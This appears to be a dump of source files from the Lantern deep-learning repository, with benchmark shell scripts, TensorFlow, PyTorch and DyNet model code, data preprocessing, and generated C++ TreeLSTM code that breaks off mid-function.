+ by)\n loss = -pred1[int(scores[index])]\n return (loss, hidden)\n return rec(0)[0]\n\n epocNum = 6\n loopStart = time.time()\n loss_save = []\n for epoc in range(epocNum):\n total_loss = 0\n for batch_n in range(int(tree_data_size // batch)):\n dy.renew_cg() # new computation graph\n losses = []\n for n in range(batch):\n index = batch_n * batch + n\n losses.append(tree_lstm_network(scores[index], words[index], lchs[index], rchs[index]))\n batch_loss = dy.esum(losses)\n total_loss += batch_loss.value()\n batch_loss.backward()\n trainer.update()\n loss_save.append(total_loss / tree_data_size)\n print(\"epoc {}, average_loss {}\".format(epoc, total_loss / tree_data_size))\n\n loopEnd = time.time()\n print('looptime is %s ' % (loopEnd - loopStart))\n\n prepareTime = loopStart - startTime\n loopTime = loopEnd - loopStart\n timePerEpoch = loopTime / epocNum\n\n with open(filename, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(timePerEpoch) + \"\\n\")\n\n # --dynet-autobatch 1 --dynet-mem 2048\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) == 1):\n print(\"should have a file to write results to\")\n exit(0)\n run(sys.argv[1])" }, { "alpha_fraction": 0.7194244861602783, "alphanum_fraction": 0.7601918578147888, "avg_line_length": 36.90909194946289, "blob_id": "87bd0c13e493646584183a0a10a9672a166fc9d8", "content_id": "9f05c43d4d54c98d670afd9eaba520137b4943d1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 417, "license_type": "permissive", "max_line_length": 80, "num_lines": 11, "path": "/src/out/PLDI19evaluation/scripts/run_resnet50.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#scripts/run_resnet50_once.sh 1\n#scripts/run_resnet50_once.sh 1\n# I run this again, mostly because the GPU seems to have a \"wear out effect\"\n# that is to say, the first run is fast, but the following are not.\n# so I woul rather overwrite the results of the first run with more stable runs.\n#scripts/run_resnet50_once.sh 2\n#scripts/run_resnet50_once.sh 3\n\npython3 plot_stats.py ResNet50 resnet50/results/\n" }, { "alpha_fraction": 0.7596630454063416, "alphanum_fraction": 0.7789890766143799, "avg_line_length": 43.844444274902344, "blob_id": "20c93f1a3fe78d8aa8e933de52608efd9dbeb0ab", "content_id": "a3a40978073a7e71319e836e96ad0daacf9a9629", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2018, "license_type": "permissive", "max_line_length": 147, "num_lines": 45, "path": "/src/out/PLDI19evaluation/scripts/run_resnet50_once.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: the script must be run in PLDIevaluation directory\"\necho \"Note: the evaluation is done with a single GPU\"\necho \"Note: we assume that a proper python virtual environment has be installed\"\nexport CUDA_VISIBLE_DEVICES=3\n\necho \"Note: we are using the newest tensorflow pytorch installation in /scratch-ml00/wang603/\"\necho \"Note: Maybe source the conda environment? Not sure\"\nsource /scratch-ml00/wang603/conda3/bin/activate\n\necho \"Note: Maybe downloading cifar10_data\"\n# python3 generate_cifar10_data.py --data-dir cifar10_data\n\necho \"Exp: run ResNet50 models\"\ncd resnet50\ncd pytorch\necho \"Note: if you haven't generate onnx model from the PyTorch implementation, do it now by uncommenting the command below.\"\necho \"Note: without the onnx model, you cannot generate Lantern code. You need to generate Lantern code too.\"\n# python3 train.py --generate_onnx ../resnet50.onnx\n\necho \"Exp: run PyTorch training with GPU\"\npython3 train.py --use_gpu=True\n# echo \"Exp: run PyTorch inference with GPU\"\n# python3 train.py --use_gpu=True --inference=True --write_to=result_PyTorch_inference_GPU\n# echo \"Exp: run PyTorch interence with CPU\"\n# python3 train.py --inference=True --write_to=result_PyTorch_inference_CPU\n\ncd ../lantern\necho \"Exp: run Lantern training with GPU\"\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternOnnxTraining.cu -o LanternOnnxTrainingCu -lcublas -lcudnn\n./LanternOnnxTrainingCu\tresult_Lantern\n\ncd ../tensorflow\necho \"Exp: run TensorFlow training with GPU\"\npython3 train.py\necho \"Plot: plot squeezenet result\"\n\ncd ..\nmkdir -p results\ncp pytorch/result_PyTorch results/result_PyTorch_$1.txt\ncp lantern/result_Lantern results/result_Lantern_$1.txt\ncp tensorflow/result_TensorFlow results/result_TensorFlow_$1.txt\n# python3 ../plot.py ResNet50 result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\n" }, { "alpha_fraction": 0.658066987991333, "alphanum_fraction": 0.6837376356124878, "avg_line_length": 44.03468322753906, "blob_id": "75c000e51ff96d09f9eac1000d1d2b5a03f8285e", "content_id": "08d8d2e6ef8dc39b5112bda27bb0f4664ae123ac", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7791, "license_type": "permissive", "max_line_length": 134, "num_lines": 173, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/model.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom tensorflow.contrib.layers import conv2d, avg_pool2d, max_pool2d\nfrom tensorflow.contrib.layers import batch_norm, l2_regularizer\nfrom tensorflow.contrib.framework import add_arg_scope\nfrom tensorflow.contrib.framework import arg_scope\nfrom tensorflow.python.ops import control_flow_ops\nimport math\nimport numpy as np\n\ndef relux(x, capping=None):\n \"\"\"Clipped ReLU\"\"\"\n x = tf.nn.relu(x)\n if capping is not None:\n y = tf.minimum(x, capping)\n return y\n\ndef _variable_on_cpu(name, shape, initializer=None, use_fp16=False, trainable=True):\n with tf.device('/cpu'):\n dtype = tf.float16 if use_fp16 else tf.float32\n var = tf.get_variable(name, shape, initializer=initializer, dtype=dtype, trainable=trainable)\n return var\n\ndef _variable_on_gpu(name, shape, initializer=None, use_fp16=False, trainable=True):\n with tf.device('/device:GPU:0'):\n dtype = tf.float16 if use_fp16 else tf.float32\n var = tf.get_variable(name, shape, initializer=initializer, dtype=dtype, trainable=trainable)\n return var\n\ndef getInputSize(sample_rate, window_size):\n rnn_input_size = int(math.floor((sample_rate * window_size) / 2) + 1)\n rnn_input_size = int(math.floor(rnn_input_size - 41) / 2 + 1)\n rnn_input_size = int(math.floor(rnn_input_size - 21) / 2 + 1)\n rnn_input_size *= 32\n return run_input_size\n\ndef getSeqLength(raw_length):\n seqL = tf.math.floor((raw_length - 11) / 2)\n seqL = seqL + 1 # tf.constant(1, dtype=tf.int32)\n seqL = seqL - 10 # tf.constant(10)\n return seqL\n\ndef batchNorm2D(input1, paramSize, variance_epsilon=0.00001):\n batch_mean, batch_var = tf.nn.moments(input1, [0, 2, 3], name='moments', keep_dims=True)\n ema = tf.train.ExponentialMovingAverage(decay=0.9997)\n def mean_var_with_update():\n ema_apply_op = ema.apply([batch_mean, batch_var])\n with tf.control_dependencies([ema_apply_op]):\n return tf.identity(batch_mean), tf.identity(batch_var)\n mean, var = control_flow_ops.cond(tf.constant(True), mean_var_with_update, lambda:(ema.average(batch_mean), ema.average(batch_var)))\n\n offset = _variable_on_gpu('offset', [1, paramSize, 1, 1], initializer=tf.zeros_initializer(), trainable=True)\n scale = _variable_on_gpu('scale', [1, paramSize, 1, 1], initializer=tf.ones_initializer(), trainable=True)\n return tf.nn.batch_normalization(input1, mean, var, offset, scale, variance_epsilon)\n\n\ndef batchNorm1D(input1, paramSize, variance_epsilon=0.00001):\n batch_mean, batch_var = tf.nn.moments(input1, [0], name='moments', keep_dims=True)\n ema = tf.train.ExponentialMovingAverage(decay=0.9997)\n def mean_var_with_update():\n ema_apply_op = ema.apply([batch_mean, batch_var])\n with tf.control_dependencies([ema_apply_op]):\n return tf.identity(batch_mean), tf.identity(batch_var)\n mean, var = control_flow_ops.cond(tf.constant(True), mean_var_with_update, lambda:(ema.average(batch_mean), ema.average(batch_var)))\n\n offset = _variable_on_gpu('offset', [paramSize], initializer=tf.zeros_initializer(), trainable=True)\n scale = _variable_on_gpu('scale', [paramSize], initializer=tf.ones_initializer(), trainable=True)\n\n return tf.nn.batch_normalization(input1, mean, var, offset, scale, variance_epsilon)\n\n\ndef fully_connected(inputs, batchSize, inputSize, num_classes):\n # 1D batchNorm\n with tf.variable_scope(\"batchNorm1D\"):\n inputs = tf.reshape(inputs, [-1, inputSize])\n batch_norm = batchNorm1D(inputs, inputSize)\n batch_norm.set_shape([None, inputSize])\n with tf.variable_scope(\"fully_connected\"):\n linear = tf.contrib.layers.fully_connected(batch_norm, num_classes, activation_fn=None)\n outputs = tf.reshape(linear, [-1, batchSize, num_classes])\n return outputs\n\n\ndef BatchRNN(inputs, batchSize, inputSize, hiddenSize):\n\n with tf.variable_scope(\"batchNorm1D\"):\n inputs = tf.reshape(inputs, [-1, inputSize])\n batch_norm = batchNorm1D(inputs, inputSize)\n inputs = tf.reshape(batch_norm, [-1, batchSize, inputSize])\n inputs.set_shape([None, batchSize, inputSize])\n\n # bidirectional RNN\n # rnn_cell = tf.contrib.cudnn_rnn.CudnnRNNTanh(1, hidden_size, direction='bidirectional')\n with tf.variable_scope(\"bidirectionalRNN\"):\n# cell_fw = tf.nn.rnn_cell.BasicRNNCell(hiddenSize)\n cell_fw = tf.keras.layers.SimpleRNNCell(hiddenSize)\n# cell_bw = tf.nn.rnn_cell.BasicRNNCell(hiddenSize)\n cell_bw = tf.keras.layers.SimpleRNNCell(hiddenSize)\n # initial_state = rnn_cell._zero_state(inputShape[1])\n # 'outputs' is a tensor of shape [batch_size, max_time, cell_state_size]\n # 'state' is a tensor of shape [batch_size, cell_state_size]\n ((outputs_fw, outputs_bw), _) = tf.nn.bidirectional_dynamic_rnn(cell_fw,\n cell_bw, inputs, dtype=tf.float32,\n time_major=True)\n\n #outputs, _ = tf.nn.dynamic_rnn(rnn_cell, inputs, sequence_length=None,\n # initial_state=initial_state, time_major=True,\n # dtype=tf.float32)\n # shape = tf.shape(outputs)\n # outputs = tf.reshape(outputs, [shape[0], shape[1], 2, -1])\n # outputs = tf.math.reduce_sum(outputs, axis=2, keepdims=None)\n outputs = outputs_fw + outputs_bw\n return outputs # checkshape\n\n\ndef inference(feats, sample_rate, window_size, rnn_hidden_size, num_classes):\n\n with tf.variable_scope(\"convolution1\"):\n step1 = conv2d(feats, 32, [41, 11], stride=[2, 2], padding='VALID',\n data_format='NCHW', activation_fn=None)\n # do batchNorm separately, otherwise it errors (if added in conv2d)\n step1 = batchNorm2D(step1, 32)\n step2 = relux(step1, capping = 20)\n\n with tf.variable_scope(\"convolution2\"):\n step3 = conv2d(step2, 32, [21, 11], stride=[2, 1], padding='VALID',\n data_format='NCHW', activation_fn=None)\n step3 = batchNorm2D(step3, 32)\n step4 = relux(step3, capping = 20)\n\n # reshape and transpose\n with tf.variable_scope(\"reshape\"):\n step5 = tf.reshape(step4, [32, 32 * 21, -1])\n step6 = tf.transpose(step5, perm=[2, 0, 1])\n step6.set_shape([None, 32, 32 * 21])\n \n # RNN layers\n # rnn_input_size = getInputSize(sample_rate, window_size)\n with tf.variable_scope(\"BatchRNN1\"):\n step7 = BatchRNN(step6, 32, 32 * 21, rnn_hidden_size)\n with tf.variable_scope(\"BatchRNN2\"):\n step8 = BatchRNN(step7, 32, rnn_hidden_size, rnn_hidden_size)\n with tf.variable_scope(\"BatchRNN3\"):\n step9 = BatchRNN(step8, 32, rnn_hidden_size, rnn_hidden_size)\n\n # fc layer\n with tf.variable_scope(\"fc\"):\n step10 = fully_connected(step9, 32, rnn_hidden_size, num_classes)\n return step10\n\n\ndef loss(feats, sample_rate, window_size, rnn_hidden_size, labels, percent, raw_length, num_classes):\n logits = inference(feats, sample_rate, window_size, rnn_hidden_size, num_classes)\n # Calculate the average ctc loss across the batch.\n # labels: An int32 SparseTensor. labels.indices[i, :] == [b, t] means labels.values[i] stores the id for (batch b, time t).\n # labels.values[i] must take on values in [0, num_labels). See core/ops/ctc_ops.cc for more details.\n reducedLength = getSeqLength(raw_length)\n seqLength = tf.math.floor(reducedLength * percent)\n seqLength = tf.cast(seqLength, dtype=tf.int32)\n # pp = tf.print(seqLength)\n\n with tf.variable_scope(\"ctc_loss\"):\n# with tf.control_dependencies([pp]):\n ctc_loss = tf.nn.ctc_loss(labels=labels, inputs=logits,\n sequence_length=seqLength,\n preprocess_collapse_repeated=True,\n time_major=True)\n # ctc_loss = tf.Print(ctc_loss, [ctc_loss], \"CTC loss: \", summarize=32)\n ctc_loss_mean = tf.reduce_mean(ctc_loss, name='ctc_loss')\n return ctc_loss_mean\n" }, { "alpha_fraction": 0.6087138652801514, "alphanum_fraction": 0.6304985284805298, "avg_line_length": 44.903846740722656, "blob_id": "c75778f0e1a1fc2a55646f4c9af08d7d0ad4985c", "content_id": "085565b706d9b61f28b77b8900065220eaaa7baf", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2387, "license_type": "permissive", "max_line_length": 83, "num_lines": 52, "path": "/src/out/ICFP18evaluation/evaluationCNN/PyTorch/download_data.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nimport time\n\n# Training settings\nparser = argparse.ArgumentParser(description='PyTorch MNIST Example')\nparser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\nparser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\n help='input batch size for testing (default: 1000)')\nparser.add_argument('--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)')\nparser.add_argument('--lr', type=float, default=0.01, metavar='LR',\n help='learning rate (default: 0.01)')\nparser.add_argument('--momentum', type=float, default=0.5, metavar='M',\n help='SGD momentum (default: 0.5)')\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\nargs = parser.parse_args()\nargs.cuda = not args.no_cuda and torch.cuda.is_available()\n\ntorch.set_num_threads(1)\ntorch.manual_seed(args.seed)\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n\nkwargs = {'num_workers': 1, 'pin_memory': True} if args.cuda else {}\ntrain_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=True, download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])),\n # transform=transforms.ToTensor()),\n batch_size=args.batch_size, shuffle=False, **kwargs)\ntest_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=False, transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])),\n batch_size=args.test_batch_size, shuffle=True, **kwargs)\n" }, { "alpha_fraction": 0.6857143044471741, "alphanum_fraction": 0.7047619223594666, "avg_line_length": 25.25, "blob_id": "be51e35dd31d67d302e129b130284a4ba5065e09", "content_id": "08b9ee66a922f36763f523971241c07604ec2f05", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 315, "license_type": "permissive", "max_line_length": 102, "num_lines": 12, "path": "/scripts/download_resnet.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#/usr/bin/env bash\n\nDIR1=$HOME/onnx_models/resnet\n\nif [[ ! -d $DIR1 ]]\nthen\n\tmkdir -p $HOME/tmp\n\tmkdir -p $HOME/onnx_models\n\twget https://s3.amazonaws.com/download.onnx/models/opset_9/resnet50.tar.gz -O $HOME/tmp/resnet.tar.gz\n\ttar xzf\t$HOME/tmp/resnet.tar.gz -C $HOME/onnx_models\n\trm -f $HOME/tmp/resnet.tar.gz\nfi\n" }, { "alpha_fraction": 0.6634557247161865, "alphanum_fraction": 0.6742926239967346, "avg_line_length": 29.77777862548828, "blob_id": "a784542c3276325a201e6f7b1a0b70b3f5f9489b", "content_id": "31e54ceaf897e998ee2ea3aeccc32044d29bf82a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1661, "license_type": "permissive", "max_line_length": 93, "num_lines": 54, "path": "/src/out/ICFP18evaluation/evaluationTreeLSTM/TensorFold/preprocess_data.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import codecs\nimport functools\nimport os\nimport tempfile\nimport zipfile\n\nfrom nltk.tokenize import sexpr\nimport numpy as np\nfrom six.moves import urllib\n\ndata_dir = \"../senti\"\n\ndef getAllwordsFromOneData(data):\n data = data.split()\n words = set()\n for i in data:\n if i.endswith(')'):\n words.add(i.split(')')[0])\n return (words)\n\n#get all words used in dev.txt and collect the number of trees\ntarget_file = './dev.txt'\n#target_file = os.path.join(data_dir, target)\nwords = set()\nnum_tree = 0\nwith open(target_file, 'r') as f:\n for line in f:\n num_tree += 1\n words.update(getAllwordsFromOneData(line))\n\n#filter the Golve file for all words used, so we don't have to keep a big file in memory\nglove_path = '../PyTorch/data/glove/glove.840B.300d.txt'\n#filtered_glove_path = os.path.join(data_dir, 'filtered_glove.txt')\n\n# we will save the filted file in here:\ndev_glove_path = os.path.join('./', 'small_glove.txt')\ndef filter_small_glove(words):\n nread = 0\n nwrote = 0\n with codecs.open(glove_path, encoding='utf-8') as f:\n with codecs.open(dev_glove_path, 'w', encoding='utf-8') as out:\n for line in f:\n nread += 1\n line = line.strip()\n if not line: continue\n if line.split(u' ', 1)[0] in words:\n out.write(line + '\\n')\n nwrote += 1\n print('read %s lines, wrote %s' % (nread, nwrote))\n# check if the filtered file already exists. if not, run filter_small_glove to generate it\nif not os.path.exists(dev_glove_path):\n print(\"First let's filter the big 2G GLOVE embedding data to a smaller subset that we use\")\n filter_small_glove(words)\n print(\"small glove file successfully generated\")" }, { "alpha_fraction": 0.3717905879020691, "alphanum_fraction": 0.6309961676597595, "avg_line_length": 23.201438903808594, "blob_id": "e5c0ca671061e0f70c44d40a790959b1debd8ada", "content_id": "e3282594257d26a53353809035ff5d47918492d1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 26913, "license_type": "permissive", "max_line_length": 124, "num_lines": 1112, "path": "/src/out/NIPS18evaluation/evaluationTreeLSTM/Lantern/LanternRNN.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nint fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nint HEAP_SIZE = 1073741826; // 1048576; // 2147483652; // 536870912; // 268435456; // 2097152;\nvoid *mallocBase = calloc(HEAP_SIZE, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n return res;\n}\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 1};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n \n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\ndouble x2 = ((double)clock() / CLOCKS_PER_SEC);\nint* x3 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nint64_t x4 = (long)fopen(\"small_glove.txt\", \"r\");\nif (fscanf((FILE *)x4,\"%d\", &x3[0])!=1) perror(\"Error reading file\");\nint32_t x6 = x3[0];\nfloat** x7 = (float**)myMalloc(x6 * sizeof(float*));;\nfor(int x9=0; x9 < x6; x9++) {\nfloat* x10 = (float*)myMalloc(300 * sizeof(float));;\nx7[x9] = x10;\nfor(int x13=0; x13 < 300; x13++) {\nfloat* x14 = x7[x9];\nif (fscanf((FILE *)x4,\"%f\", &x14[x13])!=1) perror(\"Error reading file\");\n\n}\n\n}\nfclose((FILE*)x4);\nint* x21 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nint64_t x22 = (long)fopen(\"array_tree.txt\", \"r\");\nif (fscanf((FILE *)x22,\"%d\", &x21[0])!=1) perror(\"Error reading file\");\nint32_t x24 = x21[0];\nint32_t x25 = x24 * 4;\nint** x26 = (int**)myMalloc(x25 * sizeof(int*));;\nint* x27 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nfor(int x29=0; x29 < x24; x29++) {\nif (fscanf((FILE *)x22,\"%d\", &x27[0])!=1) perror(\"Error reading file\");\nint32_t x33 = x29 * 4;\nfor(int x32=0; x32 < 4; x32++) {\nint32_t x35 = x27[0];\nint* x36 = (int32_t*)myMalloc(x35 * sizeof(int32_t));;\nint32_t x34 = x33 + x32;\nx26[x34] = x36;\nint32_t x38 = x27[0];\nfor(int x40=0; x40 < x38; x40++) {\nint* x41 = x26[x34];\nif (fscanf((FILE *)x22,\"%d\", &x41[x40])!=1) perror(\"Error reading file\");\n\n}\n\n}\n\n}\nfclose((FILE*)x22);\nfloat* x50 = (float*)myMalloc(45000 * sizeof(float));;\nfor(int x52=0; x52 < 45000; x52++) {\nfloat x53 = (float)rand()/RAND_MAX;\nfloat x54 = x53 - 0.5f;\nfloat x55 = x54 * 0.01f;\nx50[x52] = x55;\n\n}\nfloat* x59 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x60 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x62=0; x62 < 22500; x62++) {\nfloat x63 = (float)rand()/RAND_MAX;\nfloat x64 = x63 - 0.5f;\nfloat x65 = x64 * 0.01f;\nx60[x62] = x65;\n\n}\nfloat* x69 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x70=0; x70 < 22500; x70++) {\nfloat x71 = (float)rand()/RAND_MAX;\nfloat x72 = x71 - 0.5f;\nfloat x73 = x72 * 0.01f;\nx69[x70] = x73;\n\n}\nfloat* x77 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x78 = (float*)myMalloc(750 * sizeof(float));;\nfor(int x80=0; x80 < 750; x80++) {\nfloat x81 = (float)rand()/RAND_MAX;\nfloat x82 = x81 - 0.5f;\nfloat x83 = x82 * 0.01f;\nx78[x80] = x83;\n\n}\nfloat* x87 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x88 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x89 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x90 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x91 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x92 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x93 = (float*)myMalloc(750 * sizeof(float));;\nfloat* x94 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x95 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x96 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x97 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x98 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x99 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x100 = (float*)myMalloc(750 * sizeof(float));;\nfloat* x101 = (float*)myMalloc(5 * sizeof(float));;\ndouble* x102 = (double*)myMalloc(6 * sizeof(double));;\nint64_t x103 = (long)mallocAddr;\ndouble x104 = ((double)clock() / CLOCKS_PER_SEC);\nfor(int x106=0; x106 < 6; x106++) {\nfloat x107 = 0.0f;\nfor(int x108=0; x108 < x24; x108++) {\nfloat* x120 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x121 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x122 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x123 = (float*)myMalloc(150 * sizeof(float));;\nint32_t x109 = x108 * 4;\nint* x110 = x26[x109];\nint32_t x111 = x109 + 1;\nint* x112 = x26[x111];\nint32_t x113 = x109 + 2;\nint* x114 = x26[x113];\nint32_t x115 = x109 + 3;\nint* x116 = x26[x115];\nfunction<void(int32_t,function<void(float**)>,float**)> x124 = [&](int32_t x125,function<void(float**)> x126,float** x127) {\nfloat** x130 = x127;\nfloat* x131 = x130[0];\nfloat* x132 = x130[1];\nfloat* x133 = x130[2];\nfloat* x134 = x130[3];\nint32_t x128 = x125;\nbool x135 = x128 >= 0;\nif (x135) {\nint32_t x136 = x114[x128];\nfloat** x803 = (float**)myMalloc(4 * sizeof(float*));;\nx803[0] = x120;\nx803[1] = x121;\nx803[2] = x122;\nx803[3] = x123;\nfunction<void(float**)> x129 = x126;\nfunction<void(float**)> x259 = [&](float** x260) {\nfloat* x261 = x260[0];\nfloat* x262 = x260[1];\nfloat* x263 = x260[2];\nfloat* x264 = x260[3];\nfloat** x265 = (float**)myMalloc(4 * sizeof(float*));;\nx265[0] = x261;\nx265[1] = x262;\nx265[2] = x263;\nx265[3] = x264;\nx129(x265);\n};\nfunction<void(float**)> x253 = [&](float** x254) {\nfloat* x255 = x254[0];\nfloat* x256 = x254[1];\nfloat* x257 = x254[2];\nfloat* x258 = x254[3];\nfloat** x272 = (float**)myMalloc(4 * sizeof(float*));;\nx272[0] = x255;\nx272[1] = x256;\nx272[2] = x257;\nx272[3] = x258;\nx259(x272);\n};\nfunction<void(float**)> x561 = [&](float** x562) {\nfloat* x563 = x562[0];\nfloat* x564 = x562[1];\nfloat* x565 = x562[2];\nfloat* x566 = x562[3];\nfloat** x567 = (float**)myMalloc(4 * sizeof(float*));;\nx567[0] = x563;\nx567[1] = x564;\nx567[2] = x565;\nx567[3] = x566;\nx129(x567);\n};\nfunction<void(float**)> x555 = [&](float** x556) {\nfloat* x557 = x556[0];\nfloat* x558 = x556[1];\nfloat* x559 = x556[2];\nfloat* x560 = x556[3];\nfloat** x574 = (float**)myMalloc(4 * sizeof(float*));;\nx574[0] = x557;\nx574[1] = x558;\nx574[2] = x559;\nx574[3] = x560;\nx561(x574);\n};\nfunction<void(float**)> x137 = [&](float** x138) {\nfloat* x139 = x138[0];\nfloat* x140 = x138[1];\nfloat* x141 = x138[2];\nfloat* x142 = x138[3];\nint32_t x143 = x116[x128];\nfloat** x795 = (float**)myMalloc(4 * sizeof(float*));;\nx795[0] = x120;\nx795[1] = x121;\nx795[2] = x122;\nx795[3] = x123;\nfunction<void(float**)> x144 = [&](float** x145) {\nfloat* x146 = x145[0];\nfloat* x147 = x145[1];\nfloat* x148 = x145[2];\nfloat* x149 = x145[3];\nint32_t x150 = x114[x128];\nbool x151 = x150 < 0;\nif (x151) {\nint32_t x152 = x112[x128];\nfloat* x153 = x7[x152];\nfloat* x154 = (float*)myMalloc(300 * sizeof(float));;\n// dot: List(150, 300), WrappedArray(300)\nfloat* x156 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,300,1,x50,300,x153,1,0,x156,1);\nfloat* x158 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x159 = (float*)myMalloc(150 * sizeof(float));;\nint32_t x160 = 0;\nint32_t x161 = 0;\nint32_t x162 = 0;\nfor(int x164=0; x164 < 150; x164++) {\nint32_t x165 = x160;\nint32_t x166 = x161;\nfloat x167 = x156[x166];\nint32_t x168 = x162;\nfloat x169 = x59[x168];\nfloat x170 = x167 + x169;\nx159[x165] = x170;\nx160 += 1;\nx161 += 1;\nx162 += 1;\n\n}\nfloat* x177 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x178 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x179=0; x179 < 150; x179++) {\nfloat x180 = x159[x179];\ndouble x181 = (double)x180;\ndouble x182 = tanh(x181);\nfloat x183 = (float)x182;\nx178[x179] = x183;\n\n}\nfloat* x187 = (float*)myMalloc(150 * sizeof(float));;\n// dot: List(5, 150), List(150)\nfloat* x189 = (float*)myMalloc(5 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 5,150,1,x78,150,x178,1,0,x189,1);\nfloat* x191 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x192 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x193 = 0;\nint32_t x194 = 0;\nint32_t x195 = 0;\nfor(int x197=0; x197 < 5; 